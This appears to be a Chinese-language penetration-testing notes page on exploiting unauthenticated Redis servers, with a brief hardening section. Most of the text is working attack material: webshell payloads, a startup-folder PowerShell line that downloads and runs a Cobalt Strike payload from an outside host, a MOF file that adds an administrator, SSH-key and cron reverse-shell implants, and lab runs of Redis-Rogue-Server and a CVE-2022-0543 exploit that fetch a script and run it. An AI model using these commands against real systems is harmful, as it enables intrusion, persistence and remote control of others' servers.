1.redis未授权利用方式

1. 描述

Redis数据库被利用主要原因就是存在未授权访问,或者弱密码,以及服务器被暴露在公网上
Redis服务器与客户端通过RESP协议通信,所以使用脚本把命令转为RESP格式,执行恶意命令

1.1. 版本

  • 从Redis 6.0版本开始,默认配置不再绑定所有网络接口(0.0.0.0:6379)而是本地回环地址
  • 有漏洞的版本4.x/5.0.5以前版本
  • 4.x >= Version <= 5.0.5 可使用主从同步
  • 高版本用 lua沙盒逃逸 (仅限制linux下的redis)

1.2. 利用工具

工具:

1.3. 防护方法

  • 使用强密码认证
  • 降权运行 g roupadd -r redis && useradd -r -g redis redis,用低权限账户
  • protected mode限制ip禁止外网访问/修改默认端口 ( redis.conf )
  • Redis 默认不生成日志,可以自己设置

设置防火墙策略

  • 如果正常业务中 Redis 服务需要被其他服务器来访问,可以设置 iptables 策略仅允许指定的 IP 来访问 Redis 服务

保证 authorized_keys 文件的安全

  • 阻止其他用户添加新的公钥

authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限 :

chmod 400 ~/.ssh/authorized_keys

为保证 authorized_keys 的权限不会被改掉,还需要设置该文件的 immutable 位权限

chattr +i ~/.ssh/authorized_keys

但是,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。
要避免这种情况,需要设置 ~./sshimmutable 权限

chattr +i ~/.ssh

2. windows下的利用

2.1. redisdll劫持(windows专用)

参考笔记 MagicRelay

2.2. slave主从复制实现ECE

版本:4.x 5.x

redis主从复制(master-slave replication)
如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机
其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式

redis模块
和mysql类似,redis也支持扩展命令,我们需要编写so文件,来扩展命令。

  • 1、我们伪装成redis数据库,然后受害者将我们的数据库设置为主节点。
  • 2、我们设置备份文件名为so文件
  • 3、设置传输方式为全量传输
  • 4、加载so文件,实现任意命令执行

利用现成的工具即可 Redis-Rogue-Server

2.3. 写webshell

要求:知道网站绝对路径

192.168.1.9:6379> config set dir D:/phpstudy_pro/WWW
OK
192.168.1.9:6379> config set dbfilename shell.php
OK
192.168.1.9:6379> set x "<?php phpinfo();?>"
OK
192.168.1.9:6379> save
OK

2.4. 写入启动项

#由于Start Menu之间有空格,因此需要用双引号将路径包含
192.168.1.9:6379>config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/"
OK
192.168.1.9:6379>config set dbfilename shell.bat
OK
192.168.1.9:6379>set x "\r\n\r\npowershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.1.105:80/a'))\"\r\n\r\n"
#这是CS用团队服务器生成的马
OK
192.168.1.9:6379> save
OK

2.5. 写入MOF(条件要求很严格)

类似的还有 ../1-mysql/1.mysql利用 > 3. MOF提权
由于不能重启机器也无法获取web目录,想到Mof提权,环境限制只能为win2003

Note
  • mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做 ”托管对象格式”
  • 其作用是每隔五秒就会去监控进程创建和死亡。
  • 就是用了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。
  • 隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。

也就是说在 c:/windows/system32/wbem/mof/ 目录下的mof文件会每5秒自动执行一次,这样就不需要重启机器就能获取权限了。

保存mof.txt文件,内容如下

#pragma namespace("\\.\root\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa "Win32_LocalTime" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject("WScript.Shell")nWSH.run("net.exe user wintrysec admin666 /add")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

然后Redis执行

(echo -e "nn"; cat mof.txt; echo -e "nn") > foo.txt
cat foo.txt | redis-cli -h 192.168.1.10 -x set mof
redis-cli -h 192.168.1.10
config set dir c:/windows/system32/wbem/mof/
config set dbfilename wintrysec.mof
save

3. Linux下的利用

3.1. redis写ssh公钥

原理就是在数据库中插入一条数据,将本机的公钥作为value,(key值随意)
然后通过修改数据库的默认路径为 /root/.ssh 和默认的缓冲文件 authorized.keys
把缓冲的数据保存在文件里,这样就可以在服务器端的 /root/.ssh 下生一个授权的key

ssh-keygen -t rsa #自己机器生成密钥
#将公钥导入key.txt文件(前后用\n\n换行,避免和Redis里其他缓存数据混合)
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
#插入一条数据,将本机的公钥作为value
cat key.txt | ./redis-cli -h 192.168.10.153 -x set test

连接目标主机的 Redis,设置 redis 的备份路径为/root/.ssh和保存文件名authorized_keys

./redis-cli -h 192.168.1.111
config set dir /root/.ssh
config set dbfilename authorized_keys
keys *
get test	#查看数据是否存在
#将(缓存里的数据key.txt)保存在服务器硬盘上
save
#SSH 连接目标主机,无需密码即可登录
ssh 192.168.1.111

#cat /root/.ssh/authorized_keys 可以查看文件内容,是写入的公钥

3.2. redis写计划任务

原理是和写公钥一样的,只是变换一下写入的内容和路径,数据库名

#首先在客户端这边监听一个端口,端口不要冲突
nc -lv 6666

#连接redis,写入反弹shell
./redis-cli -h 192.168.1.111
set test2 "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/客户端IP/4444 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save

3.3. redis写webshell

config set dir /var/www/html
config set dbfilename webshell.php
set webshell "<?php echo @eval($_POST['x']); ?>"
save

config set dir /var/www/html
set shell "\n\n\n<?php @eval($_POST['cmd']);?>\n\n\n"
config set dbfilename shell.php
save
Warning

当执行SAVE命令时,Redis会阻塞所有其他客户端连接,直到磁盘快照创建完成。这意味着在SAVE命令执行期间,Redis不会处理任何其他客户端请求。对于大型数据库,SAVE命令可能会花费较长时间,因此,这可能导致服务器暂时不可用

3.4. 主从复制RCE

3.5. lua沙盒逃逸(<=6.0.16、<=5.0.14、<=6.2.6)版本利用

CVE-2022-0543 lua沙盒逃逸

Redis从2.6版本起,支持 EVAL 命令执行Lua脚本,但为了安全,Redis把Lua环境沙盒化,此CVE可以从 Redis 的 Lua 限制环境里,逃出去,拿到命令执行 or 文件读取

仅为运行在 Debian、Ubuntu 或其他基于 Debian 的 Linux 发行版系统上的 以下Redis 服务。
2.2 <= redis < 5.0.13
2.2 <= redis < 6.0.15
2.2 <= redis < 6.2.5

4. 其他利用姿势

4.1. SSRF+redis

ssrf打redis
SSRF出网的情况下 直接用工具

4.2. SSRF+Redis(不出网,要认证)

5. 复现实验

5.1. Redis-Rogue-Server (4.x~5.0.5)版本利用

版本 4.0.14
使用 Redis-Rogue-Server 拿shell
Redis-Rogue-Server ➔ 就是伪造一个假的 Redis 服务器,骗目标 Redis 客户端来自动执行命令

  • 写入SSH公钥 ➔ 实现SSH登陆
  • 写入Webshell ➔ 拿站
  • 写入Crontab ➔ 定时反弹Shell
git clone https://github.com/vulhub/redis-rogue-getshell

┌──(root㉿kali)-[~/Desktop/tools/Redis/redis-rogue-server]
└─# python3 redis-rogue-server.py --rhost 192.168.8.37 --lhost 192.168.8.10
/root/Desktop/tools/Redis/redis-rogue-server/redis-rogue-server.py:10: SyntaxWarning: invalid escape sequence '\ '
  BANNER = """______         _ _      ______                         _____
______         _ _      ______                         _____                          
| ___ \       | (_)     | ___ \                       /  ___|                         
| |_/ /___  __| |_ ___  | |_/ /___   __ _ _   _  ___  \ `--.  ___ _ ____   _____ _ __ 
|    // _ \/ _` | / __| |    // _ \ / _` | | | |/ _ \  `--. \/ _ \ '__\ \ / / _ \ '__|
| |\ \  __/ (_| | \__ \ | |\ \ (_) | (_| | |_| |  __/ /\__/ /  __/ |   \ V /  __/ |   
\_| \_\___|\__,_|_|___/ \_| \_\___/ \__, |\__,_|\___| \____/ \___|_|    \_/ \___|_|   
                                     __/ |                                            
                                    |___/                                             
@copyright n0b0dy @ r3kapig

[info] TARGET 192.168.8.37:6379
[info] SERVER 192.168.8.10:21000
[info] Setting master...
[info] Setting dbfilename...
[info] Loading module...
[info] Temerory cleaning up...
What do u want, [i]nteractive shell or [r]everse shell: i
[info] Interact mode start, enter "exit" to quit.
[<<] id
[>>] =uid=999(redis) gid=999(redis) groups=999(redis)
[<<] whoami
[>>] redis
[<<] 

5.2. lua沙盒逃逸(<=6.0.16、<=5.0.14、<=6.2.6)版本利用

CVE-2022-0543 lua沙盒逃逸

Redis从2.6版本起,支持 EVAL 命令执行Lua脚本,但为了安全,Redis把Lua环境沙盒化,此CVE可以从 Redis 的 Lua 限制环境里,逃出去,拿到命令执行 or 文件读取

环境搭建

**版本:5.0.7**
/vulhub/redis/CVE-2022-0543

仅为运行在 Debian、Ubuntu 或其他基于 Debian 的 Linux 发行版系统上的 以下Redis 服务。
2.2 <= redis < 5.0.13
2.2 <= redis < 6.0.15
2.2 <= redis < 6.2.5

Warning

这里不能用命令直接弹,只能下文件后执行脚本弹shell

┌──(root㉿kali)-[~/Desktop/tools/Redis/CVE-2022-0543]
└─# python CVE-2022-0543.py
/root/Desktop/tools/Redis/CVE-2022-0543/CVE-2022-0543.py:5: SyntaxWarning: invalid escape sequence '\ '
  version = """
  
      [#] Create By ::
        _                     _    ___   __   ____                             
       / \   _ __   __ _  ___| |  / _ \ / _| |  _ \  ___ _ __ ___   ___  _ __  
      / _ \ | '_ \ / _` |/ _ \ | | | | | |_  | | | |/ _ \ '_ ` _ \ / _ \| '_ \ 
     / ___ \| | | | (_| |  __/ | | |_| |  _| | |_| |  __/ | | | | | (_) | | | |
    /_/   \_\_| |_|\__, |\___|_|  \___/|_|   |____/ \___|_| |_| |_|\___/|_| |_|
                   |___/            By https://aodsec.com                                           
    
Please input redis ip:
>>192.168.8.37     
Please input redis port:
>>6379
Auth:
>>
input exec cmd:(q->exit)
>>wget 192.168.8.10:81/kali.sh
b''
input exec cmd:(q->exit)
>>bash kali.sh

Pasted image 20250429002853